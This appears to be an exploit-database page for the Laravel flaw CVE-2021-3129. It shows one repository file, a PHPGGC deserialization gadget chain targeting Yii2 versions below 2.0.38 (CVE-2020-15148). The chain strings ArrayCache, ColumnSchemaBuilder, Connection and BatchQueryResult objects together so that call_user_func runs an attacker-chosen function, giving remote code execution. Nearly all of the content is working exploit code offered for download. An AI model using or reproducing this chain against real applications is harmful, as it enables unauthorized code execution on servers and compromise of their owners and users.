Exploit databaseDownload repository ZIP
GH-16376e4357f06350aba70a4970a8d451
shadowabi/laravel-cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
shadowabi/laravel-cve-2021-3129Revision 65bcf17e1ccb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/Yii2/RCE/1/chain.php
PHP · 733 bytes<?php
namespace GadgetChain\Yii2;
// CVE-2020-15148
class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '<2.0.38';
public static $vector = '__destruct';
public static $author = 'russtone';
public static $information = 'Executes $function with $parameter using call_user_func.';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
$cache = new \yii\caching\ArrayCache($function, $parameter);
$csb = new \yii\db\ColumnSchemaBuilder($cache);
$conn = new \yii\db\Connection($csb);
$query = new \yii\db\BatchQueryResult($conn);
return $query;
}
}